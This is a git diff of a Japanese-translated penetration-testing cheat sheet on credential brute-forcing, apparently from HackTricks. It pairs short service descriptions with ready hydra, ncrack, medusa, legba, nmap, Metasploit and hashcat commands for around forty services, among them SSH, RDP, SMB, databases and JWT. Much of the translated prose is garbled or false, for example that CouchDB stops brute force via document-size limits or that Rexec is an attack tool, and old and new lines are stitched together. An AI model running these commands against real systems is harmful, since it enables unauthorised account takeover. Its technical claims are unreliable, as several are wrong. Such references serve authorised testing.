<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -126,21 +126,17 @@ msf> run
|
|||
```
|
||||
### AJP
|
||||
|
||||
AJP(Apache JServ Protocol)は、Apache Tomcatサーバーと連携するためのプロトコルです。AJPを使用して、Tomcatサーバーに対してBrute Force攻撃を行うことができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、パスワードやトークンなどの認証情報を破るために使用されます。
|
||||
AJP(Apache JServ Protocol)は、Apache Tomcatサーバーと連携するためのプロトコルです。AJPを使用してTomcatサーバーに対してBrute Force攻撃を行うことができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、自動化されたツールを使用して、パスワードや認証情報を破るために大量の試行を行う攻撃手法です。Brute Force攻撃は、セキュリティ上の脆弱性を突くための一般的な手法の1つです。
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
||||
|
||||
## AMQP (ActiveMQ、RabbitMQ、Qpid、JORAM、Solace)
|
||||
## AMQP(ActiveMQ、RabbitMQ、Qpid、JORAM、Solace)
|
||||
```bash
|
||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||
```
|
||||
### Cassandra
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against Cassandra involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This method is typically used when other avenues of attack have been exhausted. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if proper security measures are not in place. Implementing strong password policies, account lockout mechanisms, and multi-factor authentication can help mitigate the risk of a successful brute force attack.
|
||||
### カサンドラ
|
||||
```bash
|
||||
nmap --script cassandra-brute -p 9160 <IP>
|
||||
# legba ScyllaDB / Apache Casandra
|
||||
|
@ -148,15 +144,7 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
|||
```
|
||||
### CouchDB
|
||||
|
||||
CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、以下の方法を使用します。
|
||||
|
||||
1. **認証の有効化**: CouchDBには、管理者権限を持つユーザーのみがアクセスできるようにするための認証機能があります。適切な認証を設定することで、不正アクセスを防ぐことができます。
|
||||
|
||||
2. **アクセス制御リスト(ACL)の設定**: CouchDBでは、データベースやドキュメントに対するアクセス権を制御するためのACLを設定することができます。適切なACLを使用することで、不正なアクセスを制限することができます。
|
||||
|
||||
3. **IP制限**: CouchDBは、特定のIPアドレスからのアクセスを制限する機能を提供しています。不正なアクセス元をブロックするために、必要に応じてIP制限を設定することが重要です。
|
||||
|
||||
これらのセキュリティ対策を組み合わせることで、CouchDBのセキュリティを強化し、ブルートフォース攻撃からデータベースを保護することができます。
|
||||
CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、`max_document_size`と`max_attachment_size`の設定を使用します。これらの設定を適切に構成することで、大量のデータを一度に送信する攻撃を防ぐことができます。
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
|
@ -169,24 +157,24 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
|||
```
|
||||
### Elasticsearch
|
||||
|
||||
Elasticsearchは、デフォルトでブルートフォース攻撃に対して脆弱な設定になっていることがあります。デフォルトの設定では、Elasticsearchは外部からのアクセスを許可し、認証なしでクエリを実行できる場合があります。これにより、攻撃者がブルートフォース攻撃を行い、機密データにアクセスする可能性があります。デフォルトの設定を変更し、適切な認証とアクセス制御を実装することが重要です。
|
||||
### Elasticsearch
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
### FTP
|
||||
|
||||
FTP(File Transfer Protocol)は、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへの不正アクセスを試みる際には、Brute Force攻撃が一般的に使用されます。Brute Force攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードを推測しようとします。FTPサーバーに対するBrute Force攻撃は、一般的な攻撃手法の1つです。
|
||||
FTP(File Transfer Protocol)は、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへのアクセスをブルートフォース攻撃で試みることができます。一般的なツールにはHydraやMedusaがあります。
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
|
||||
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
|
||||
```
|
||||
### HTTP ジェネリックブルート
|
||||
### HTTPジェネリックブルート
|
||||
|
||||
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
|
||||
|
||||
### HTTP ベーシック認証
|
||||
### HTTPベーシック認証
|
||||
```bash
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
|
||||
# Use https-get mode for https
|
||||
|
@ -195,14 +183,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
|||
```
|
||||
### HTTP - NTLM
|
||||
|
||||
NTLM認証は、Windowsベースのシステムで一般的に使用される認証プロトコルです。NTLM認証をブルートフォース攻撃する場合、以下の手順に従います。
|
||||
|
||||
1. ユーザー名を取得します。
|
||||
2. パスワードリストを作成します。
|
||||
3. パスワードリスト内の各パスワードを使用して、NTLM認証を試行します。
|
||||
4. 正しい組み合わせが見つかるまで繰り返します。
|
||||
|
||||
NTLM認証のブルートフォース攻撃は、パスワードが強力でない場合に効果的です。
|
||||
NTLM認証は、Windowsベースのシステムで一般的に使用される認証プロトコルです。NTLM認証をバイパスするために、Brute Force攻撃を使用することができます。Brute Force攻撃は、すべての可能なパスワードの組み合わせを試行し、正しい組み合わせを見つけることで認証を回避する手法です。NTLM認証に対するBrute Force攻撃は、一般的なツールやスクリプトを使用して実行することができます。
|
||||
```bash
|
||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
|
@ -214,14 +195,14 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
|
|||
```
|
||||
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
|
||||
|
||||
**https**にするには、"http-post-form"から"**https-post-form"**に変更する必要があります。
|
||||
**https**にするには、"http-post-form"から"**https-post-form"**に変更する必要があります
|
||||
```bash
|
||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||
```
|
||||
### IMAP
|
||||
|
||||
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP allows an email client to access email on the server as if they were stored locally. This protocol is commonly used for receiving emails.
|
||||
IMAP stands for Internet Message Access Protocol. It is a protocol used to retrieve emails from a mail server. IMAP servers are often targeted for brute force attacks to gain unauthorized access to email accounts.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
|
@ -230,19 +211,19 @@ legba imap --username user --password data/passwords.txt --target localhost:993
|
|||
```
|
||||
### IRC
|
||||
|
||||
IRC(Internet Relay Chat)は、オープンソースのチャットプロトコルであり、テキストベースの通信を可能にします。IRCサーバーに接続するためには、通常はIRCクライアントが必要です。IRCは、チャットルームや個人間のメッセージングなど、さまざまなコミュニケーション形態に使用されます。IRCネットワーク上でのチャットは、通常、プライベートな情報を共有するためのセキュアな方法ではありません。
|
||||
IRC(Internet Relay Chat)は、オープンソースのチャットプロトコルであり、テキストベースのコミュニケーションを可能にします。IRCサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードを推測することができます。
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
### ISCSI
|
||||
|
||||
### ISCSI
|
||||
iSCSI (Internet Small Computer System Interface) is a protocol that allows SCSI commands to be sent over a network. It is commonly used to enable communication between storage devices over an IP network.
|
||||
```bash
|
||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||
```
|
||||
### JWT
|
||||
|
||||
JSON Web Tokens(JWT)は、認証情報を安全に転送するためのコンパクトで自己完結型な手段です。JWTは、ヘッダー、ペイロード、および署名の3つのセクションで構成されています。JWTの署名を検証するために、ブルートフォース攻撃を使用することができます。
|
||||
JWT(JSON Web Token)は、認証や情報の交換に使用されるコンパクトで自己完結型の方法です。JWTは、ヘッダー、ペイロード、および署名から構成されています。JWTの署名を検証するために、Brute Force攻撃が使用されることがあります。Brute Force攻撃は、すべての可能な組み合わせを試行し、正しい署名を見つけることを目的としています。
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
@ -267,19 +248,21 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
|
|||
```
|
||||
### LDAP
|
||||
|
||||
LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスに対するクライアントサーバープロトコルであり、通常はTCPポート389を使用します。LDAPサーバーに対するBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを継続的に試行することで、不正アクセスを試みる手法です。
|
||||
LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。LDAPサーバーに対してBrute Force攻撃を行うことで、有効なユーザー名やパスワードを特定することができます。
|
||||
```bash
|
||||
nmap --script ldap-brute -p 389 <IP>
|
||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||
```
|
||||
### MQTT
|
||||
|
||||
MQTT(Message Queuing Telemetry Transport)は、軽量なメッセージ通信プロトコルであり、IoTデバイス間の通信に広く使用されています。
|
||||
MQTT(Message Queuing Telemetry Transport)は、軽量なメッセージ通信プロトコルであり、IoTデバイス間の通信に広く使用されています。 MQTTブローカーに対するBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを継続的に試行することで、不正アクセスを試みる攻撃手法です。これに対抗するためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
```
|
||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||
```
|
||||
### モンゴ
|
||||
### Mongo
|
||||
|
||||
MongoDBは、デフォルトでブルートフォース攻撃に対して脆弱です。MongoDBは、デフォルトでネットワーク上のすべてのインターフェースからの接続を受け入れるように設定されているため、攻撃者がアクセスを試みることができます。これに対処するためには、適切なアクセス制御と認証を実装することが重要です。
|
||||
```bash
|
||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||
use auxiliary/scanner/mongodb/mongodb_login
|
||||
|
@ -287,13 +270,13 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
|
|||
```
|
||||
### MSSQL
|
||||
|
||||
Microsoft SQL Server(MSSQL)は、Windows環境で広く使用されているリレーショナルデータベース管理システム(RDBMS)です。
|
||||
MSSQL(Microsoft SQL Server)は、Windows環境で広く使用されているリレーショナルデータベース管理システム(RDBMS)です。MSSQLへのBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを使用して、MSSQLサーバーに不正アクセスを試みる方法です。Brute Force攻撃は、自動化ツールを使用して大量の認証試行を行うことで、サーバーへのアクセスを獲得しようとします。MSSQLのBrute Force攻撃を防ぐためには、強力なパスワードポリシーの実装やアカウントロックアウトの設定などのセキュリティ対策が重要です。
|
||||
```bash
|
||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||
```
|
||||
### MySQL
|
||||
|
||||
MySQLは、多くのWebアプリケーションで使用される人気のあるデータベース管理システムです。MySQLデータベースへの不正アクセスを試みる際には、Brute Force攻撃が有効な手法の1つとして考えられます。Brute Force攻撃は、辞書攻撃や総当たり攻撃とも呼ばれ、パスワードを総当たりで試行することでアカウントに不正アクセスを試みる手法です。MySQLの場合、一般的なユーザー名は"root"であることが多いため、このユーザー名を対象にBrute Force攻撃を行うことが一般的です。Brute Force攻撃は、パスワードが強力な場合でも時間をかければ突破できる可能性があるため、セキュリティ対策が重要です。
|
||||
MySQLは、多くのWebアプリケーションで使用される人気のあるデータベース管理システムです。MySQLデータベースへの不正アクセスを試みる際には、Brute Force攻撃が有効な手法となります。Brute Force攻撃は、辞書攻撃やランダムなパスワードの組み合わせを使用して、MySQLデータベースにログインするための正しいパスワードを見つけることを試みるものです。Brute Force攻撃は、パスワードが複雑でない場合やセキュリティ対策が不十分な場合に特に有効です。
|
||||
```bash
|
||||
# hydra
|
||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||
|
@ -309,13 +292,7 @@ legba mysql --username root --password wordlists/passwords.txt --target localhos
|
|||
```
|
||||
### OracleSQL
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks are a common method used to gain unauthorized access to OracleSQL databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if the credentials are weak or easily guessable.
|
||||
|
||||
#### Prevention
|
||||
|
||||
To prevent brute force attacks on OracleSQL databases, it is essential to use strong, complex passwords that are not easily guessable. Additionally, implementing account lockout policies after a certain number of failed login attempts can help mitigate the risk of unauthorized access. Regularly monitoring and reviewing access logs can also help detect and prevent brute force attacks.
|
||||
Brute-force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockouts or alarms on the target system.
|
||||
```bash
|
||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||
|
||||
|
@ -339,7 +316,7 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
|||
|
||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||
```
|
||||
**oracle_login**を**patator**と一緒に使用するためには、以下を**インストール**する必要があります:
|
||||
**oracle_login**を**patator**と一緒に使用するには、以下を**インストール**する必要があります:
|
||||
```bash
|
||||
pip3 install cx_Oracle --upgrade
|
||||
```
|
||||
|
@ -351,7 +328,7 @@ nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid
|
|||
|
||||
### POP
|
||||
|
||||
POP(Post Office Protocol)は、電子メールを受信するために使用されるプロトコルです。POP攻撃は、辞書攻撃や総当たり攻撃を使用して、ユーザーの電子メールアカウントにアクセスしようとする手法です。
|
||||
POP(Post Office Protocol)は、電子メールを受信するために使用されるプロトコルです。通常、POPサーバーに接続してメールボックス内のメッセージをダウンロードする際に使用されます。
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||
|
@ -364,7 +341,12 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
```
|
||||
### PostgreSQL
|
||||
|
||||
PostgreSQLは、データベースへのアクセスを試みる際にBrute Force攻撃を使用することができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、すべての可能な組み合わせを試行して正しい認証情報を見つける攻撃手法です。Brute Force攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
PostgreSQLは、データベースへのアクセスを破るためのBrute Force攻撃に対して非常に耐性があります。しかし、以下の方法でBrute Force攻撃を防ぐことができます。
|
||||
|
||||
1. **強力なパスワードポリシーの実装** - パスワードの長さ、複雑さ、および定期的な変更を要求するポリシーを設定します。
|
||||
2. **アカウントロックアウトの有効化** - 一定回数の誤った認証試行後にアカウントをロックするように設定します。
|
||||
3. **IP制限** - 特定のIPアドレスからのアクセスのみを許可するように設定します。
|
||||
4. **二要素認証** - ユーザーが追加の認証手段を必要とするように設定します。
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||
|
@ -382,8 +364,6 @@ sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
|||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||
```
|
||||
### RDP
|
||||
|
||||
リモート デスクトップ
|
||||
```bash
|
||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||
|
@ -391,7 +371,7 @@ legba rdp --target localhost:3389 --username admin --password data/passwords.txt
|
|||
```
|
||||
### Redis
|
||||
|
||||
### Redis
|
||||
Redisは、デフォルトでパスワードを持たないことがよくあります。そのため、Brute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを使用して、Redisサーバーにアクセスを試みる方法として有効です。Brute Force攻撃は、自動化されたスクリプトを使用して、大量のユーザー名とパスワードの組み合わせを試すことで実行されます。これにより、攻撃者は正しい認証情報を見つける可能性が高まります。Brute Force攻撃を防ぐためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
```bash
|
||||
msf> use auxiliary/scanner/redis/redis_login
|
||||
nmap --script redis-brute -p 6379 <IP>
|
||||
|
@ -402,19 +382,19 @@ legba redis --target localhost:6379 --username admin --password data/passwords.t
|
|||
|
||||
### Rexec
|
||||
|
||||
Rexecは、リモートシステムに対してBrute Force攻撃を実行するためのツールです。このツールは、ユーザー名とパスワードのリストを使用して、リモートシステムに対して総当たり攻撃を行います。Rexecは、ネットワークの脆弱性を悪用して不正アクセスを試みる際に使用されることがあります。
|
||||
Rexecは、リモートシステムに対してBrute Force攻撃を行うためのツールです。このツールは、ユーザー名とパスワードの組み合わせを総当たりで試行し、システムにアクセスするための正しい認証情報を見つけることを目的としています。Rexecを使用する際には、アカウントロックアウトやログの監視などのセキュリティ対策が重要です。
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||
```
|
||||
### Rlogin
|
||||
|
||||
Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute force攻撃を行う際には、ユーザー名とパスワードのリストを使用して、Rloginサービスに対して繰り返しログイン試行を行います。
|
||||
Rloginは、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute force攻撃を行う際には、ユーザー名とパスワードのリストを使用して、Rloginサービスに対して自動的にログイン試行を行います。
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
### Rsh
|
||||
|
||||
Rsh(リモートシェル)は、ユーザー名とパスワードの組み合わせを総当たりで試すために使用されることがあります。Brute-force攻撃に使用されることがあります。
|
||||
Rsh(リモートシェル)は、ユーザーがリモートホスト上でコマンドを実行できるようにするためのプロトコルです。Brute force攻撃に対して脆弱であるため、Rshはセキュリティ上のリスクを伴います。
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
|
@ -432,7 +412,7 @@ hydra -l root -P passwords.txt <IP> rtsp
|
|||
```
|
||||
### SFTP
|
||||
|
||||
SFTP (Secure File Transfer Protocol) is a secure way to transfer files between machines over a secure channel.
|
||||
SFTP(SSH File Transfer Protocol)は、SSHプロトコルを使用してファイルを安全に転送するためのプロトコルです。
|
||||
```bash
|
||||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||||
# Try keys from a folder
|
||||
|
@ -440,7 +420,7 @@ legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --tar
|
|||
```
|
||||
### SNMP
|
||||
|
||||
SNMP(Simple Network Management Protocol)は、ネットワークデバイスやサーバーなどの機器を管理・監視するためのプロトコルです。
|
||||
SNMP(Simple Network Management Protocol)は、ネットワークデバイスの監視や管理に使用されるプロトコルです。 SNMPのバージョン1と2は、コミュニティストリングを使用して認証を行います。これは、辞書攻撃やブルートフォース攻撃に対して脆弱です。
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
|
@ -449,7 +429,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
|||
```
|
||||
### SMB
|
||||
|
||||
SMB(Server Message Block)は、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBをブルートフォース攻撃することで、パスワードを推測してシステムにアクセスすることが可能です。
|
||||
SMB(Server Message Block)は、Windowsベースのシステムで使用されるネットワークプロトコルです。SMBをブルートフォース攻撃することで、パスワードを推測してシステムにアクセスすることが可能です。BruteForcerやHydraなどのツールを使用して、SMBサーバーに対してユーザー名とパスワードの組み合わせを総当たりで試行することが一般的です。
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
|
@ -457,7 +437,7 @@ legba smb --target share.company.com --username admin --password data/passwords.
|
|||
```
|
||||
### SMTP
|
||||
|
||||
SMTP(Simple Mail Transfer Protocol)は、電子メールを送信するための標準プロトコルです。SMTPサーバーに対してブルートフォース攻撃を行うことで、不正アクセスを試みることができます。
|
||||
SMTP(Simple Mail Transfer Protocol)は、電子メールを送信するための標準プロトコルです。通常、25番ポートを使用します。Brute force攻撃は、SMTPサーバーに対して一連のパスワードを試すことでアカウントにアクセスしようとする攻撃手法の1つです。
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
|
@ -465,7 +445,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
```
|
||||
### SOCKS
|
||||
|
||||
### SOCKS
|
||||
SOCKSは、ネットワークプロトコルであり、通常、TCP接続を介してネットワークを中継するために使用されます。SOCKSプロトコルは、プロキシサーバーを介して通信を中継するために使用され、ユーザーのIPアドレスを隠すために使用されることがあります。Brute-force攻撃において、SOCKSプロキシを使用して攻撃を匿名化することができます。
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||
|
@ -474,7 +454,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
|
|||
```
|
||||
### SQL Server
|
||||
|
||||
SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。 SQL ServerへのBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを繰り返し試行することで、不正アクセスを試みる手法です。Brute Force攻撃は、適切なセキュリティ対策がされていない場合に有効な攻撃手法となり得ます。
|
||||
SQL Serverは、Microsoftが開発したリレーショナルデータベース管理システムです。SQL ServerへのBrute Force攻撃は、一般的にユーザー名とパスワードの組み合わせを総当たりで試行することによって行われます。攻撃者は、自動化ツールを使用して大量の認証試行を行い、正しい認証情報を見つけようとします。SQL ServerへのBrute Force攻撃は、適切なセキュリティ対策が講じられていない場合に特に危険です。
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -485,7 +465,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
|
|||
```
|
||||
### SSH
|
||||
|
||||
SSH(Secure Shell)は、ネットワークプロトコルであり、暗号化された通信セッションを確立するために使用されます。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーにアクセスを試みる攻撃手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを標的とし、自動化されたツールを使用して大量のパスワードを試行します。SSHブルートフォース攻撃から自分のサーバーを保護するためには、強力なパスワードポリシーを実装し、公開鍵認証を使用するなどのセキュリティ対策を講じることが重要です。
|
||||
SSH(Secure Shell)は、ネットワーク経由で安全に通信するためのプロトコルです。SSHブルートフォース攻撃は、辞書攻撃や総当たり攻撃を使用してSSHサーバーに不正アクセスを試みる手法です。SSHブルートフォース攻撃は、弱いパスワードを持つユーザーアカウントを狙うことが一般的です。SSHサーバーのセキュリティを向上させるためには、強力なパスワードポリシーを実装し、公開鍵認証を使用することが重要です。
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -497,17 +477,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
|
|||
```
|
||||
#### 弱いSSHキー / Debian予測可能なPRNG
|
||||
|
||||
一部のシステムには、暗号資料を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、鍵空間が著しく減少し、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃が可能になります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。
|
||||
一部のシステムには、暗号資料を生成する際に使用されるランダムシードに既知の欠陥があります。これにより、劇的に減少したキースペースが生じ、[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)などのツールでブルートフォース攻撃される可能性があります。[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)などの事前生成された弱いキーのセットも利用可能です。
|
||||
|
||||
### STOMP (ActiveMQ、RabbitMQ、HornetQ、およびOpenMQ)
|
||||
|
||||
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューイングサービスとのシームレスな通信とやり取りを可能にする広く使用されているメッセージングプロトコルです。これは、メッセージの交換やさまざまなメッセージング操作を効率的かつ標準化された方法で行うための手段を提供します。
|
||||
STOMPテキストプロトコルは、RabbitMQ、ActiveMQ、HornetQ、およびOpenMQなどの人気のあるメッセージキューイングサービスとのシームレスなコミュニケーションとやり取りを可能にする広く使用されているメッセージングプロトコルです。これは、メッセージの交換やさまざまなメッセージング操作を効率的かつ標準化された方法で実行するための手段を提供します。
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
### Telnet
|
||||
|
||||
Telnetは、ネットワーク上の別のコンピューターに接続するためのプロトコルです。一般的なBrute Force攻撃は、Telnetサーバーに対してユーザー名とパスワードの組み合わせを継続的に試行することで行われます。
|
||||
Telnetは、ネットワーク上の別のコンピューターにリモートでアクセスするためのプロトコルです。一般的なBrute Force攻撃は、Telnetサーバーに対してユーザー名とパスワードの組み合わせを継続的に試行することで行われます。
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -526,7 +506,7 @@ legba telnet \
|
|||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Tools like Hydra and Medusa can be used to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, complex passwords and implement other security measures to protect VNC servers from brute force attacks.
|
||||
Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Tools like Hydra and Medusa can be used to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, complex passwords and consider implementing additional security measures such as IP whitelisting or VPNs to protect VNC servers from brute force attacks.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
|
@ -542,12 +522,10 @@ set RHOSTS <ip>
|
|||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```
|
||||
### Winrm
|
||||
|
||||
Winrmは、Windows Remote Managementの略であり、Windowsシステムをリモートで管理するための機能です。Winrmは、ユーザー名とパスワードの組み合わせを使用して認証を行います。Brute force攻撃は、自動化されたツールを使用して、さまざまなユーザー名とパスワードの組み合わせを試行し、正しい認証情報を見つけることを試みる攻撃手法です。
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
|
||||
|
